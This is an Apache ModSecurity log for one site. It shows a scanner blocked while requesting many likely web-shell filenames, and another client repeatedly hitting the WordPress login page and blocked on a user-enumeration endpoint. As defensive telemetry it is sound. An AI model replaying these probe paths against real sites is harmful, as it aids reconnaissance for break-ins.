[Sat Feb 28 11:20:39.928849 2026] [:error] [pid 52460:tid 52487] [client 20.151.113.230:18348] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaJfB7LWOogAgHGh62TJVQAAAZg"]
[Sat Feb 28 11:20:40.353574 2026] [:error] [pid 52460:tid 52466] [client 20.151.113.230:18372] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaJfCLLWOogAgHGh62TJXAAAAYM"]
[Sat Feb 28 11:20:40.781788 2026] [:error] [pid 39292:tid 39298] [client 20.151.113.230:18313] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaJfCKIAO5fN7BxyqcGsywAAAMQ"]
[Sat Feb 28 11:20:41.199191 2026] [:error] [pid 39185:tid 39247] [client 20.151.113.230:18290] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaJfCRVE-FfM89u7BQZuPQAAAIE"]
[Sat Feb 28 11:20:41.612262 2026] [:error] [pid 11791:tid 11794] [client 20.151.113.230:18335] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaJfCWuX5e1Q32gqxH3jmQAAAQE"]
[Sat Feb 28 11:20:42.027297 2026] [:error] [pid 52460:tid 52465] [client 20.151.113.230:18409] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kma.php"] [unique_id "aaJfCrLWOogAgHGh62TJaQAAAYI"]
[Sat Feb 28 11:20:42.440998 2026] [:error] [pid 52460:tid 52464] [client 20.151.113.230:18264] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kma.php"] [unique_id "aaJfCrLWOogAgHGh62TJbwAAAYE"]
[Sat Feb 28 11:20:42.852655 2026] [:error] [pid 52460:tid 52475] [client 20.151.113.230:18423] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kma.php"] [unique_id "aaJfCrLWOogAgHGh62TJcwAAAYw"]
[Sat Feb 28 11:20:43.266094 2026] [:error] [pid 52460:tid 52463] [client 20.151.113.230:18407] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kma.php"] [unique_id "aaJfC7LWOogAgHGh62TJeQAAAYA"]
[Sat Feb 28 11:20:43.682719 2026] [:error] [pid 52460:tid 52466] [client 20.151.113.230:18357] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpls.php"] [unique_id "aaJfC7LWOogAgHGh62TJfQAAAYM"]
[Sat Feb 28 11:20:44.098045 2026] [:error] [pid 52460:tid 52474] [client 20.151.113.230:18429] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpls.php"] [unique_id "aaJfDLLWOogAgHGh62TJgQAAAYs"]
[Sat Feb 28 11:20:44.541344 2026] [:error] [pid 52460:tid 52478] [client 20.151.113.230:18388] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpls.php"] [unique_id "aaJfDLLWOogAgHGh62TJhwAAAY8"]
[Sat Feb 28 11:20:44.963154 2026] [:error] [pid 11791:tid 11798] [client 20.151.113.230:18383] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpls.php"] [unique_id "aaJfDGuX5e1Q32gqxH3jnAAAAQU"]
[Sat Feb 28 11:20:45.387126 2026] [:error] [pid 11791:tid 11801] [client 20.151.113.230:18384] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova-wso.php"] [unique_id "aaJfDWuX5e1Q32gqxH3jngAAAQg"]
[Sat Feb 28 11:20:45.805400 2026] [:error] [pid 39185:tid 39251] [client 20.151.113.230:18267] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova-wso.php"] [unique_id "aaJfDRVE-FfM89u7BQZuSAAAAIU"]
[Sat Feb 28 11:20:46.214255 2026] [:error] [pid 39292:tid 39299] [client 20.151.113.230:18320] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova-wso.php"] [unique_id "aaJfDqIAO5fN7BxyqcGszgAAAMU"]
[Sat Feb 28 11:20:46.637388 2026] [:error] [pid 39185:tid 39255] [client 20.151.113.230:18240] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova-wso.php"] [unique_id "aaJfDhVE-FfM89u7BQZuTQAAAIk"]
[Sat Feb 28 11:20:47.055475 2026] [:error] [pid 39185:tid 39249] [client 20.151.113.230:18252] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mjq.php"] [unique_id "aaJfDxVE-FfM89u7BQZuTwAAAIM"]
[Sat Feb 28 11:20:47.476631 2026] [:error] [pid 11791:tid 11800] [client 20.151.113.230:18312] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mjq.php"] [unique_id "aaJfD2uX5e1Q32gqxH3jpQAAAQc"]
[Sat Feb 28 11:20:47.897534 2026] [:error] [pid 39292:tid 39314] [client 20.151.113.230:18360] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mjq.php"] [unique_id "aaJfD6IAO5fN7BxyqcGs0wAAANQ"]
[Sat Feb 28 11:20:48.316820 2026] [:error] [pid 39184:tid 39238] [client 20.151.113.230:18323] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mjq.php"] [unique_id "aaJfEFtZF9Zd_U7easDDpAAAAFM"]
[Sat Feb 28 11:20:48.753783 2026] [:error] [pid 52460:tid 52487] [client 20.151.113.230:18367] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php7"] [unique_id "aaJfELLWOogAgHGh62TJiwAAAZg"]
[Sat Feb 28 11:20:49.168124 2026] [:error] [pid 39185:tid 39246] [client 20.151.113.230:18415] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php7"] [unique_id "aaJfERVE-FfM89u7BQZuVgAAAIA"]
[Sat Feb 28 11:20:49.598564 2026] [:error] [pid 52460:tid 52465] [client 20.151.113.230:18275] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php7"] [unique_id "aaJfEbLWOogAgHGh62TJjQAAAYI"]
[Sat Feb 28 11:20:50.015509 2026] [:error] [pid 39185:tid 39257] [client 20.151.113.230:18399] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php7"] [unique_id "aaJfEhVE-FfM89u7BQZuXgAAAIs"]
[Sat Feb 28 11:20:50.423301 2026] [:error] [pid 52460:tid 52466] [client 20.151.113.230:18269] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "aaJfErLWOogAgHGh62TJjwAAAYM"]
[Sat Feb 28 11:20:50.872663 2026] [:error] [pid 22194:tid 22216] [client 20.151.113.230:18289] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "aaJfEn6mbajs3bzQGysh3gAAAVQ"]
[Sat Feb 28 11:20:51.290336 2026] [:error] [pid 52460:tid 52471] [client 20.151.113.230:18301] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "aaJfE7LWOogAgHGh62TJlAAAAYg"]
[Sat Feb 28 11:20:51.708359 2026] [:error] [pid 52460:tid 52467] [client 20.151.113.230:18362] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "aaJfE7LWOogAgHGh62TJlwAAAYQ"]
[Sat Feb 28 11:20:52.123133 2026] [:error] [pid 11791:tid 11817] [client 20.151.113.230:18248] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sql.php7"] [unique_id "aaJfFGuX5e1Q32gqxH3jrgAAARg"]
[Sat Feb 28 11:20:52.536001 2026] [:error] [pid 39292:tid 39304] [client 20.151.113.230:18181] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sql.php7"] [unique_id "aaJfFKIAO5fN7BxyqcGs4QAAAMo"]
[Sat Feb 28 11:20:52.968560 2026] [:error] [pid 39292:tid 39314] [client 20.151.113.230:18364] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sql.php7"] [unique_id "aaJfFKIAO5fN7BxyqcGs4gAAANQ"]
[Sat Feb 28 11:20:53.382296 2026] [:error] [pid 22194:tid 22205] [client 20.151.113.230:18338] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sql.php7"] [unique_id "aaJfFX6mbajs3bzQGysh4QAAAUk"]
[Sat Feb 28 11:20:53.814459 2026] [:error] [pid 52460:tid 52481] [client 20.151.113.230:18259] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55.php"] [unique_id "aaJfFbLWOogAgHGh62TJngAAAZI"]
[Sat Feb 28 11:20:54.227504 2026] [:error] [pid 52460:tid 52465] [client 20.151.113.230:18319] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55.php"] [unique_id "aaJfFrLWOogAgHGh62TJoAAAAYI"]
[Sat Feb 28 11:20:54.644327 2026] [:error] [pid 52460:tid 52485] [client 20.151.113.230:18355] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55.php"] [unique_id "aaJfFrLWOogAgHGh62TJpwAAAZY"]
[Sat Feb 28 11:20:55.065017 2026] [:error] [pid 52460:tid 52472] [client 20.151.113.230:18377] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55.php"] [unique_id "aaJfF7LWOogAgHGh62TJqwAAAYk"]
[Sat Feb 28 11:20:55.487427 2026] [:error] [pid 52460:tid 52483] [client 20.151.113.230:18263] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc.php"] [unique_id "aaJfF7LWOogAgHGh62TJtwAAAZQ"]
[Sat Feb 28 11:20:55.900894 2026] [:error] [pid 52460:tid 52468] [client 20.151.113.230:18266] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc.php"] [unique_id "aaJfF7LWOogAgHGh62TJvwAAAYU"]
[Sat Feb 28 11:20:56.316437 2026] [:error] [pid 39292:tid 39298] [client 20.151.113.230:18242] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc.php"] [unique_id "aaJfGKIAO5fN7BxyqcGs6QAAAMQ"]
[Sat Feb 28 11:20:56.733100 2026] [:error] [pid 52460:tid 52482] [client 20.151.113.230:18257] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc.php"] [unique_id "aaJfGLLWOogAgHGh62TJxgAAAZM"]
[Sat Feb 28 11:20:57.152343 2026] [:error] [pid 52460:tid 52478] [client 20.151.113.230:18398] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aaJfGbLWOogAgHGh62TJyQAAAY8"]
[Sat Feb 28 11:20:57.563682 2026] [:error] [pid 39184:tid 39236] [client 20.151.113.230:18304] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aaJfGVtZF9Zd_U7easDDrAAAAFE"]
[Sat Feb 28 11:20:57.981890 2026] [:error] [pid 52460:tid 52481] [client 20.151.113.230:18344] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aaJfGbLWOogAgHGh62TJ0AAAAZI"]
[Sat Feb 28 11:20:58.396817 2026] [:error] [pid 22194:tid 22202] [client 20.151.113.230:18306] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aaJfGn6mbajs3bzQGysh7QAAAUY"]
[Sat Feb 28 11:36:30.560721 2026] [:error] [pid 39185:tid 39269] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJivhVE-FfM89u7BQZ5lQAAAJc"]
[Sat Feb 28 11:36:53.363798 2026] [:error] [pid 39185:tid 39259] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaJi1RVE-FfM89u7BQZ5-QAAAI0"], referer: https://www.facebook.com/
[Sat Feb 28 11:36:56.567709 2026] [:error] [pid 39185:tid 39267] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi2BVE-FfM89u7BQZ6GAAAAJU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:00.174461 2026] [:error] [pid 39185:tid 39263] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi3BVE-FfM89u7BQZ6LgAAAJE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:02.248090 2026] [:error] [pid 39185:tid 39256] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi3hVE-FfM89u7BQZ6NgAAAIo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:05.763138 2026] [:error] [pid 39185:tid 39264] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi4RVE-FfM89u7BQZ6TgAAAJI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:08.049125 2026] [:error] [pid 39185:tid 39268] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi5BVE-FfM89u7BQZ6XgAAAJY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:11.171548 2026] [:error] [pid 39185:tid 39248] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi5xVE-FfM89u7BQZ6awAAAII"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:12.660813 2026] [:error] [pid 39185:tid 39256] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi6BVE-FfM89u7BQZ6dQAAAIo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:16.373360 2026] [:error] [pid 39185:tid 39247] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi7BVE-FfM89u7BQZ6fQAAAIE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:18.051757 2026] [:error] [pid 39185:tid 39267] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi7hVE-FfM89u7BQZ6hwAAAJU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
